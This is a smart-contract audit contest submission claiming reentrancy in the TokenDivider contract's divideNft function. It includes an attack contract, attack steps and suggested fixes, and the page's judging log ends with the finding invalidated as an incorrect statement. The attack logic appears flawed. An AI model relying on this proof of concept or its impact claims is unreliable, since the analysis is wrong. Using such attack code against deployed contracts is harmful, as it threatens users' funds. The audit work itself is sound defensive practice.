Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Multiple Reentrancy Attack Vectors in TokenDivider's NFT Fractionalization Process

Summary

The TokenDivider contract's divideNft function contains critical reentrancy vulnerabilities due to state updates occurring after external calls and lack of reentrancy protection. The function interacts with multiple external contracts (NFT and ERC20) without proper safeguards, allowing malicious contracts to reenter and manipulate the contract's state.

Impact

Severity: Critical

The vulnerabilities could lead to:

  • Double-minting of fractional tokens

  • Theft of locked NFTs

  • Manipulation of contract state

  • Draining of contract funds

  • Inconsistent state between NFT ownership and fractional tokens

A successful exploit could result in the complete compromise of the fractionalization system and significant financial losses for users.

Tools used

Foundry

Detailed Proof of Concept

Vulnerable Code

function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
onlyNftOwner(nftAddress, tokenId)
onlyNftOwner(nftAddress ,tokenId) external {
// Create new ERC20 token
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(
string(abi.encodePacked(ERC721(nftAddress).name(), "Fraccion")),
string(abi.encodePacked("F", ERC721(nftAddress).symbol())));
// EXTERNAL CALL #1
erc20Contract.mint(address(this), amount);
address erc20 = address(erc20Contract);
// EXTERNAL CALL #2
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
// State updates AFTER external calls
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({erc20Address: erc20, tokenId: tokenId});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
// EXTERNAL CALL #3
bool transferSuccess = IERC20(erc20).transfer(msg.sender, amount);
}

Attack Contract

contract MaliciousNFT is ERC721 {
TokenDivider target;
uint256 attackCount;
constructor(address _target) ERC721("Evil", "EVIL") {
target = TokenDivider(_target);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
if (attackCount < 2) {
attackCount++;
// Reenter divideNft
target.divideNft(address(this), tokenId, 1000);
}
return this.onERC721Received.selector;
}
}

Attack Simulation

  1. Setup Phase:

// Deploy contracts
TokenDivider divider = new TokenDivider();
MaliciousNFT nft = new MaliciousNFT(address(divider));
// Mint NFT to attacker
nft.mint(attacker, 1);
  1. Attack Execution:

// Initiate attack
function executeAttack() external {
// Approve TokenDivider
nft.approve(address(divider), 1);
// First call to divideNft
divider.divideNft(address(nft), 1, 1000);
}
  1. Attack Flow:

    1. Attacker calls divideNft

    2. New ERC20 token is created and minted

    3. During safeTransferFrom, onERC721Received is called

    4. onERC721Received reenters divideNft

    5. State is not yet updated, allowing second execution

    6. Multiple sets of ERC20 tokens are minted for the same NFT

Recommendations

Primary Solution

  1. Implement OpenZeppelin's ReentrancyGuard:

contract TokenDivider is IERC721Receiver, Ownable, ReentrancyGuard {
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
external
nonReentrant
onlyNftOwner(nftAddress, tokenId)
{
// Implementation
}
}

Additional Protections

  1. Follow Checks-Effects-Interactions Pattern:

function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
external
nonReentrant
onlyNftOwner(nftAddress, tokenId)
{
// 1. CHECKS
if(nftAddress == address(0)) revert TokenDivider__NftAddressIsZero();
if(amount == 0) revert TokenDivider__AmountCantBeZero();
// Create ERC20 token
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(...);
address erc20 = address(erc20Contract);
// 2. EFFECTS - Update state first
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({
erc20Address: erc20,
tokenId: tokenId
});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
// 3. INTERACTIONS - External calls last
erc20Contract.mint(address(this), amount);
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
require(IERC20(erc20).transfer(msg.sender, amount), "Transfer failed");
emit NftDivided(nftAddress, amount, erc20);
}
  1. Implement State Locks:

mapping(address => bool) private _nftLocked;
modifier notLocked(address nft) {
require(!_nftLocked[nft], "NFT is locked");
_;
}
function divideNft(...) nonReentrant notLocked(nftAddress) {
_nftLocked[nftAddress] = true;
// ... implementation
_nftLocked[nftAddress] = false;
}
  1. Add Additional Safety Checks:

require(
nftToErc20Info[nftAddress].erc20Address == address(0),
"NFT already fractionalized"
);

These solutions, when implemented together, provide multiple layers of protection against reentrancy attacks while maintaining the contract's functionality.

Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

Appeal created

riceee Auditor
5 months ago
0xblackadam Auditor
5 months ago
fishy Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

Reentrancy

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

fishy Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.